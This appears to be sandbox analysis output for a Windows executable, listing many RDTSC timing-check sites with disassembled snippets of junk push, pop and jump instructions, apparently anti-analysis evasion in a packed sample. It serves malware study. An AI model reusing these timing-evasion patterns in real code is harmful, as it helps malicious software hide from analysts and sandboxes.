Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 106824B second address: 106827C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jmp 00007F15206D4F17h 0x0000000b popad 0x0000000c jng 00007F15206D4F08h 0x00000012 pushad 0x00000013 push eax 0x00000014 push edx 0x00000015 push edi 0x00000016 pop edi 0x00000017 js 00007F15206D4F06h 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 106856E second address: 106858C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1520D32CA6h 0x00000007 push eax 0x00000008 push edx 0x00000009 push edi 0x0000000a pop edi 0x0000000b pushad 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1068A21 second address: 1068A26 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1068A26 second address: 1068A2C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 106D87D second address: 106D89F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F15206D4F0Ch 0x00000009 push ebx 0x0000000a pop ebx 0x0000000b jmp 00007F15206D4F0Fh 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 106D89F second address: 106D8A6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push ebx 0x00000004 pop ebx 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 106D8A6 second address: 106D8B3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 push eax 0x00000006 push edx 0x00000007 jnp 00007F15206D4F06h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 106DF3A second address: 106DF3F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1015206 second address: 101520A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 101520A second address: 1015210 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1015210 second address: 1015216 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1015216 second address: 101521A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1072156 second address: 1072160 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnc 00007F15206D4F06h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1072160 second address: 107217B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1520D32CA5h 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 107217B second address: 1072181 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1072181 second address: 10721A9 instructions: 0x00000000 rdtsc 0x00000002 jns 00007F1520D32C96h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jmp 00007F1520D32CA2h 0x0000000f pop edx 0x00000010 pop eax 0x00000011 push edx 0x00000012 pushad 0x00000013 jc 00007F1520D32C96h 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10721A9 second address: 10721CD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jo 00007F15206D4F06h 0x0000000a popad 0x0000000b push ebx 0x0000000c jmp 00007F15206D4F16h 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1071893 second address: 1071898 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1071898 second address: 10718AF instructions: 0x00000000 rdtsc 0x00000002 jp 00007F15206D4F0Ch 0x00000008 push ecx 0x00000009 jp 00007F15206D4F06h 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1071B99 second address: 1071BBC instructions: 0x00000000 rdtsc 0x00000002 jns 00007F1520D32C98h 0x00000008 jnc 00007F1520D32CA2h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push esi 0x00000011 push eax 0x00000012 push edx 0x00000013 pushad 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1071ECB second address: 1071ED3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1071ED3 second address: 1071ED7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 107ADDE second address: 107ADE3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1078ED5 second address: 1078EEC instructions: 0x00000000 rdtsc 0x00000002 jng 00007F1520D32C9Ah 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d jng 00007F1520D32C96h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1079064 second address: 107906F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 push esi 0x0000000a pop esi 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 107906F second address: 1079073 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1079073 second address: 1079079 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1079079 second address: 10790A2 instructions: 0x00000000 rdtsc 0x00000002 jno 00007F1520D32CACh 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b jne 00007F1520D32CAFh 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10790A2 second address: 10790C3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F15206D4F13h 0x00000009 jo 00007F15206D4F0Eh 0x0000000f pushad 0x00000010 popad 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10790C3 second address: 10790CB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10790CB second address: 10790E0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F15206D4F11h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1079362 second address: 1079366 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1079366 second address: 10793AF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 js 00007F15206D4F19h 0x0000000c jmp 00007F15206D4F13h 0x00000011 pop esi 0x00000012 push eax 0x00000013 push edx 0x00000014 jmp 00007F15206D4F19h 0x00000019 jbe 00007F15206D4F0Eh 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10793AF second address: 10793C0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1520D32C9Bh 0x00000007 push eax 0x00000008 push edx 0x00000009 push esi 0x0000000a pop esi 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1079686 second address: 107969F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 popad 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a popad 0x0000000b jmp 00007F15206D4F0Eh 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 107969F second address: 10796A3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10796A3 second address: 10796A9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10796A9 second address: 10796B7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jc 00007F1520D32CA2h 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 107998E second address: 1079992 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1079C43 second address: 1079C47 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1079C47 second address: 1079C65 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F15206D4F14h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b push esi 0x0000000c pop esi 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 107A268 second address: 107A2A3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 jmp 00007F1520D32C9Fh 0x0000000a jmp 00007F1520D32CA3h 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 popad 0x00000013 jmp 00007F1520D32CA0h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 107A7FB second address: 107A812 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop ebx 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c push esi 0x0000000d pop esi 0x0000000e push esi 0x0000000f pop esi 0x00000010 pushad 0x00000011 popad 0x00000012 popad 0x00000013 push edi 0x00000014 push ebx 0x00000015 pop ebx 0x00000016 pop edi 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 107F1DF second address: 107F1E4 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 107F1E4 second address: 107F1EE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 push edi 0x00000006 push ecx 0x00000007 pop ecx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 107F1EE second address: 107F1FA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 pop edx 0x00000006 pop eax 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 107F1FA second address: 107F1FE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 107E334 second address: 107E350 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F1520D32CA8h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 107E350 second address: 107E356 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 107E356 second address: 107E35C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 107E35C second address: 107E360 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 107E7C6 second address: 107E7CA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 107E7CA second address: 107E7D9 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jg 00007F15206D4F06h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 107E947 second address: 107E94B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 107E94B second address: 107E968 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jne 00007F15206D4F06h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F15206D4F0Fh 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 107EB07 second address: 107EB18 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jo 00007F1520D32C96h 0x0000000a pushad 0x0000000b popad 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 107EB18 second address: 107EB1C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 107EB1C second address: 107EB22 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 107EC56 second address: 107EC5B instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 107EDA1 second address: 107EDAB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 107EDAB second address: 107EDAF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 107EDAF second address: 107EDB8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push esi 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 108CAF2 second address: 108CAFC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push esi 0x00000006 push ecx 0x00000007 pop ecx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 108CC95 second address: 108CC99 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 108CC99 second address: 108CCA3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 108CDF5 second address: 108CE25 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F1520D32CA1h 0x00000009 js 00007F1520D32C96h 0x0000000f popad 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007F1520D32C9Ch 0x00000017 jnc 00007F1520D32C96h 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 108D1FD second address: 108D203 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1095937 second address: 109593D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10954CD second address: 10954D7 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push esi 0x00000004 pop esi 0x00000005 pop edi 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10954D7 second address: 10954E1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jo 00007F1520D32C96h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10954E1 second address: 1095509 instructions: 0x00000000 rdtsc 0x00000002 jne 00007F15206D4F06h 0x00000008 jp 00007F15206D4F06h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 pop edx 0x00000011 pop eax 0x00000012 push eax 0x00000013 push edx 0x00000014 jmp 00007F15206D4F14h 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1095649 second address: 109567C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1520D32CA7h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push edi 0x0000000c pop edi 0x0000000d jmp 00007F1520D32CA4h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 109567C second address: 1095686 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1095686 second address: 109568A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 109568A second address: 10956A9 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 jmp 00007F15206D4F15h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10956A9 second address: 10956AD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1097013 second address: 109704A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F15206D4F0Fh 0x00000009 pushad 0x0000000a popad 0x0000000b popad 0x0000000c jmp 00007F15206D4F0Bh 0x00000011 push eax 0x00000012 push edx 0x00000013 jmp 00007F15206D4F14h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 109704A second address: 109705D instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 je 00007F1520D32C96h 0x00000009 pushad 0x0000000a popad 0x0000000b pop edx 0x0000000c pushad 0x0000000d push esi 0x0000000e pop esi 0x0000000f pushad 0x00000010 popad 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10994F4 second address: 10994F9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10994F9 second address: 109951A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F1520D32C9Bh 0x00000008 jmp 00007F1520D32CA1h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10A57C0 second address: 10A57C4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10A91EC second address: 10A91F0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10A91F0 second address: 10A91FA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10A91FA second address: 10A921F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1520D32C9Fh 0x00000007 jmp 00007F1520D32C9Fh 0x0000000c pop edx 0x0000000d pop eax 0x0000000e pushad 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10B2E64 second address: 10B2E68 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10B2E68 second address: 10B2E7D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1520D32C9Fh 0x00000007 push edx 0x00000008 pop edx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10B44BF second address: 10B44C3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10B44C3 second address: 10B44D1 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jbe 00007F1520D32C96h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10B44D1 second address: 10B44E9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007F15206D4F0Ch 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pop edi 0x0000000c push esi 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10B44E9 second address: 10B44F3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnp 00007F1520D32C96h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10B44F3 second address: 10B44F7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10B44F7 second address: 10B4501 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10B4501 second address: 10B4505 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10B9C56 second address: 10B9C64 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jns 00007F1520D32C96h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10BBB21 second address: 10BBB32 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F15206D4F0Dh 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10C2FAC second address: 10C2FDE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1520D32C9Dh 0x00000007 jmp 00007F1520D32CA7h 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 popad 0x00000012 jns 00007F1520D32C96h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10C2FDE second address: 10C2FE4 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10C311D second address: 10C3123 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10C3123 second address: 10C3129 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10C3385 second address: 10C338B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10C338B second address: 10C3398 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 jne 00007F15206D4F0Eh 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10C34C3 second address: 10C34D0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 push eax 0x00000006 push edx 0x00000007 jnp 00007F1520D32C96h 0x0000000d rdtsc
